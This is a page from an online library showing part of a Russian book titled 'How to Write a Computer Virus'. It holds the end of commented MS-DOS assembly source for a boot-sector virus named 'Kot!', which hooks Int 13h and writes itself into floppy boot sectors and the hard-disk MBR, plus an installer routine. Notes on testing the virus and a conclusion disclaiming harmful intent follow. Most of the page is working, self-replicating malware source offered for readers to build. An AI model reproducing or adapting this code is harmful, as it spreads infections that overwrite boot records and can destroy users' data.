Главная · Поиск книг · Поступления книг · Top 40 · Форумы · Ссылки · Читатели

Настройка текста
Перенос строк


    Прохождения игр    
Demon's Souls |#13| Storm King
Demon's Souls |#12| Old Monk & Old Hero
Demon's Souls |#11| Мaneater part 2
Demon's Souls |#10| Мaneater (part 1)

Другие игры...


liveinternet.ru: показано число просмотров за 24 часа, посетителей за 24 часа и за сегодня
Rambler's Top100
Образование - Коваль И. Весь текст 308.41 Kb

Как написать компьютерный вирус

Предыдущая страница Следующая страница
1 ... 17 18 19 20 21 22 23  24 25 26 27
               je cs:real_80          ;дискеты
               cmp dh,0f9h            ;по ее
               je cs:real_80          ;Media
               cmp dh,0fdh            ;Descryptor
               jne cs:to_jump         ;
               mov ch,39              ;
    real_80:   mov dh,01h             ;
               mov cl,byte ptr ds:[418h]

                                      ;Перепишем нас-
                                      ;тоящий BOOT в
                                      ;последний сек-
                                      ;тор последней
                                      ;дорожки на пос-
                                      ;ледней стороне
               xor dl,dl              ;
               call cs:write_mbr_last ;
               jc cs:to_jump          ;
                                      ;
               mov additor - 100h,055h;Сформируем код,
               xor di,di              ;который нужно
               mov cx,prg_lenght      ;записать на
    copy_vir:  mov al,byte ptr ds:[di];дискету вместо
    mov byte ptr ds:[di + 455h],al    ;исходной BOOT -
               inc di                 ;записи
               loop cs:copy_vir       ;
    mov word ptr ds:[400h],053ebh     ;
                                      ;
               xor dh,dh              ;И запишем его
               call cs:write_mbr      ;в первый
                                      ;сектор нулевой
                                      ;дорожки нулевой
                                      ;стороны дискеты
                                      ;
    restore_regs:                     ;Восстановим из
               popf                   ;стека регистры
               pop es                 ;
               pop ds                 ;
               pop di                 ;
               pop dx                 ;
               pop cx                 ;
               pop bx                 ;
               pop ax                 ;
               ret                    ;Выйдем из про-
                                      ;цедуры
    boot_infect endp                  ;

    read_mbr   proc                   ;
               xor dh,dh              ;
               mov ax,0201h           ;Процедура
               mov bx,400h            ;читает первый
               mov cx,01h             ;сектор нулевой
               pushf                  ;дорожки нулевой
    call dword ptr old_13h - 100h     ;стороны указан-
               ret                    ;ного накопителя
    read_mbr   endp                   ;
                                      ;
    write_mbr proc                    ;
               mov ax,0301h           ;Процедура
               mov cx,01h             ;помещает вирус-
               pushf                  ;ный код в BOOT-
    call dword ptr old_13h - 100h     ;сектор дискеты
               ret                    ;или записывает
    write_mbr  endp                   ;его вместо MBR
                                      ;винчестера
                                      ;
    write_mbr_last proc               ;Процедура
                                      ;переписывает
                                      ;исходную BOOT-
                                      ;запись или MBR
               mov num_head - 100h,dx ;в заданный
               mov cyl_sect - 100h,cx ;сектор зара-
               mov dl,dl_save - 100h  ;жаемого
                                      ;диска
               mov ax,0301h           ;
               pushf                  ;
    call dword ptr old_13h - 100h     ;
               ret                    ;
    write_mbr_last endp               ;

               db   'Kot!'            ;Название вируса
    dl_save    db   0                 ;Ячейка для вре-
                                      ;менного хране-
                                      ;ния регистра DL
                                      ;( Он задает
                                      ;номер
                                      ;накопителя )
    num_head   dw   0                 ;Здесь вирус
    cyl_sect   dw   0                 ;хранит номер
                                      ;головки,дорожки
                                      ;и сектора , в
                                      ;которых запи-
                                      ;сана настоящая
                                      ;загрузочная
                                      ;запись
                                      ;зараженного
                                      ;диска
    vvv        dw   004ch             ;Смещение к век-
                                      ;тору Int 13h
                                      ;Длина вирусного
                                      ;кода :
               prg_lenght   equ   $ - my_prg

    installer: lea si,my_prg          ;Подменим коман-
               mov byte ptr [si],33h  ;ду перехода на
    mov byte ptr [si + 1],0c0h        ;первые три бай-
    mov byte ptr [si + 2],8eh         ;та кода вируса
                                      ;Попробуем про-
                                      ;честь
                                      ;BOOT -
                                      ;сектор дискеты.
               mov ax,0201h           ;
               mov cx,01h             ;
               xor dx,dx              ;
               lea bx,bufer           ;
               int 13h                ;
               jc error               ;
                                      ;
               push es                ;Получим пара-
               mov ah,08h             ;метры дискеты
               xor dl,dl              ;
               int 13h                ;
               jnc all_good           ;
               cmp ah,01h             ;
               jne error              ;
               mov dh,01h             ;
               mov ch,27h             ;
    mov cl,byte ptr bufer [18h]       ;
    all_good:  xor dl,dl              ;
               mov num_head,dx        ;
               mov cyl_sect,cx        ;
               pop es                 ;
                                      ;Перепишем нас-
                                      ;тоящий BOOT в
                                      ;последний сек-
                                      ;тор последней
                                      ;дорожки на пос-
                                      ;ледней стороне
               mov ax,0301h           ;
               lea bx,bufer           ;
               int 13h                ;
               jc error               ;
                                      ;Сформируем код,
                                      ;который нужно
                                      ;записать на
                                      ;дискету вместо
                                      ;исходной BOOT -
                                      ;записи
               mov additor,055h       ;
               lea si,bufer + 55h     ;
               lea di,my_prg          ;
               mov cx,prg_lenght      ;
    copy_boot: mov al,byte ptr [di]   ;
               mov byte ptr [si],al   ;
               inc si                 ;
               inc di                 ;
               loop copy_boot         ;
    mov word ptr bufer[0],053ebh      ;
                                      ;И запишем его
                                      ;в первый
                                      ;сектор нулевой
                                      ;дорожки нулевой
                                      ;стороны дискеты
               mov ax,0301h           ;
               mov cx,01h             ;
               mov dx,0               ;
               lea bx,bufer           ;
               int 13h                ;
               jnc prg_end            ;
                                      ;
    error:     mov ah,09h             ;Если была оши-
               lea dx,err_mes         ;бка - выведем
               int 21h                ;сообщение о ней
                                      ;
    prg_end:   mov ax,4c00h           ;Завершаем за-
               int 21h                ;пускающую про-
                                      ;грамму
    err_mes    db   'Error !$'        ;Сообщение
    bufer      db   512 dup ( 0 )     ;В этот буфер
                                      ;считывается
                                      ;BOOT - сектор
                                      ;заражаемой
                                      ;дискеты
    prg ends                          ;Стандартное
    end my_prg                        ;окончание ASM-
                                      ;программы ...

                     1.16 Комментарии

    Вирус,который мы разработали в этой главе, заража-
    ет BOOT - сектора дискет и MBR жесткого диска. Как
    вы  убедились, написать  загрузочный вирус  совсем
    несложно - гораздо легче,чем, скажем, файловый.Тем
    не менее я настоятельно рекомендую  читателям  по-
    пробовать " поймать " один из существующих  загру-
    зочных вирусов и исследовать его работу. Для начи-
    нающих можно порекомендовать FORM или KONSTANTIN .
    Если же вы достаточно опытный вирусолог, то можете
    помериться силами с ONEHALF или другим шифрованным
    вирусом. Правда  учтите, что экспериментировать  с
    чужими вирусными программами  надо осторожно - не-
    которые из них при трассировке вирусного кода  мо-
    гут испортить " винчестер " вашего компьютера.


                   1.17 Испытание вируса

    Для проверки в действии загрузочного вируса доста-
    точно загрузиться с зараженного магнитного  диска.
    Понаблюдайте, как вирус заражает дискеты и в каких
    случаях. Попробуйте найти в памяти вирусный код, а
    найдя - пройдите его отладчиком.
    Перед  проведением  экспериментов  с  предложенной
    программой обязательно скопируйте оригинальную MBR
    жесткого диска  в отдельный файл на  дискете. Если
    этого не сделать, вы  рискуете потерять данные  на
    винчестере.
    Все проверки вирусной программы рекомендуется про-
    водить  с помощью  программы  DISKEDIT, желательно
    одной из последних версий. С помощью этой же прог-
    раммы можно " вылечить " зараженный диск, если ви-
    рус вам " надоест ".


                        ЗАКЛЮЧЕНИЕ

    Эта книга  задумывалась и писалась лишь для того,
    чтобы приоткрыть завесу таинственности и секретно-
    сти, которой  окутана почти не овещаемая в литера-
    туре тема  компьютерных вирусов . Автор  ни в коем
    случае не ставил своей целью обучить пользователей
    ЭВМ разработке всевозможных "вредных"  программных
    средств, а просто хотел поделиться своими знаниями
    и результатами экспериментов с широкой  обществен-
    ностью .Наверняка найдется немало людей -  специа-
    листов и любителей,которых интересует затронутая в
    данной работе тема .И если кто - то из них пожела-
    ет ознакомиться с предлагаемой книгой, я буду счи-
    тать, что потратил время не зря .Разработка дейст-
    вующих компьютерных вирусов - захватывающее и сло-
    жное дело, требующее немалого опыта и определенной
    теоретической базы .Надеюсь, эта книга сможет ока-
    зать вам некоторую помощь .
    К сожалению,изложение не рассчитано на начинающих,
    поэтому автору не удалось приблизить стиль книги к
    научно - популярному . Хотя это  трудно отнести  к
    недостаткам .
    До встречи !


                      ПРИЛОЖЕНИЕ 1

       Краткий справочник по функциям MS DOS и BIOS

     *
      Справочные  материалы по  функциям MS DOS и BIOS
      с  незначительными  изменениями  заимствованы из
      [1], за  что автор приносит К.Г.Финогенову  свои
      извинения.

    --------------------------------------------------

    Функция 09h - Вывод строки на экран.Последним сим-
Предыдущая страница Следующая страница
1 ... 17 18 19 20 21 22 23  24 25 26 27
Ваша оценка:
Комментарий:
  Подпись:
(Чтобы комментарии всегда подписывались Вашим именем, можете зарегистрироваться в Клубе читателей)
  Сайт:
 
Комментарии (9)

Реклама